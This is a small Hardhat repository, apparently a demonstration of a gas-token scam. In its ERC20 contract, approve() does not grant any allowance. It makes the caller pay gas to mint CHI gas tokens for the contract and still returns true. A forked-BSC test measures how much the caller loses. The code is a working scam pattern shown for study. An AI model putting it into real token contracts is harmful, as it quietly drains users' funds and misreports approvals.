├── README.md ├── contracts └── erc20WithCHImint.sol ├── hardhat.config.js ├── package.json └── test └── CHItest.js /README.md: -------------------------------------------------------------------------------- 1 | # Sample Hardhat Project 2 | 3 | This project demonstrates a basic Hardhat use case. It comes with a sample contract, a test for that contract, and a script that deploys that contract. 4 | 5 | Try running some of the following tasks: 6 | 7 | ```shell 8 | npx hardhat help 9 | npx hardhat test 10 | REPORT_GAS=true npx hardhat test 11 | npx hardhat node 12 | npx hardhat run scripts/deploy.js 13 | ``` 14 | # GasToken_scam_example 15 | -------------------------------------------------------------------------------- /contracts/erc20WithCHImint.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 4 | 5 | contract ERC20WithCHImint is ERC20 { 6 | constructor() ERC20("example token", "EXMPL") {} 7 | 8 | function mint(address account, uint256 amount) public { 9 | _mint(account, amount); 10 | } 11 | 12 | function approve(address spender, uint256 amount) public override returns (bool) { 13 | (bool success, ) = address(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c).call(abi.encodeWithSignature("mint(uint256)", 10)); 14 | require(success, "CHI mint failed"); 15 | return true; 16 | } 17 | 18 | } -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomiclabs/hardhat-waffle"); 2 | require("@nomiclabs/hardhat-ethers"); 3 | require("@nomicfoundation/hardhat-network-helpers"); 4 | 5 | /** @type import('hardhat/config').HardhatUserConfig */ 6 | module.exports = { 7 | solidity: "0.8.17", 8 | networks: { 9 | hardhat: { 10 | forking: { 11 | url: "https://bsc-dataseed.binance.org/", 12 | blockNumber: 24405920, 13 | } 14 | } 15 | } 16 | }; 17 | 18 | 19 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomicfoundation/hardhat-toolbox": "^2.0.0", 5 | "hardhat": "^2.12.5" 6 | }, 7 | "dependencies": { 8 | "@nomiclabs/hardhat-waffle": "^2.0.3", 9 | "@openzeppelin/contracts": "^4.8.0" 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /test/CHItest.js: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | const { BigNumber, utils } = require("ethers"); 3 | const { ethers } = require("hardhat"); 4 | const helpers = require("@nomicfoundation/hardhat-network-helpers"); 5 | 6 | const CHIabi = [{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"salt","type":"uint256"}],"name":"computeAddress2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"free","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"freeFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"freeFromUpTo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"freeUpTo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBurned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] 7 | 8 | describe("CHI tests", function () { 9 | let _, myWallet; 10 | let chi, myToken; 11 | 12 | before(async () => { 13 | [_, myWallet] = await ethers.getSigners(); 14 | 15 | let MyToken = await ethers.getContractFactory("ERC20WithCHImint"); 16 | myToken = await MyToken.deploy(); 17 | 18 | chi = new ethers.Contract("0x0000000000004946c0e9F43F4Dee607b0eF1fA1c", CHIabi); 19 | }); 20 | 21 | it("Test CHI", async function () { 22 | let startBalance = await ethers.provider.getBalance(myWallet.address); 23 | console.log("Current block number: " + await ethers.provider.getBlockNumber()); 24 | console.log("balance of myWallet: " + (await ethers.provider.getBalance(myWallet.address)).toString()); 25 | console.log("Current token balance of myWallet: " + (await chi.connect(_).balanceOf(myWallet.address)).toString()); 26 | console.log("Current token balance of myToken: " + (await chi.connect(_).balanceOf(myToken.address)).toString()) 27 | console.log("------------------------"); 28 | 29 | await myToken.connect(myWallet).approve(chi.address, 100); 30 | 31 | console.log("balance diff: " + ethers.utils.formatUnits((startBalance).sub(await ethers.provider.getBalance(myWallet.address)).toString(), "ether")); 32 | console.log("balance of myWallet: " + (await ethers.provider.getBalance(myWallet.address)).toString()); 33 | console.log("Current token balance of myWallet: " + (await chi.connect(_).balanceOf(myWallet.address)).toString()); 34 | console.log("Current token balance of myToken: " + (await chi.connect(_).balanceOf(myToken.address)).toString()) 35 | }) 36 | 37 | }); 38 | --------------------------------------------------------------------------------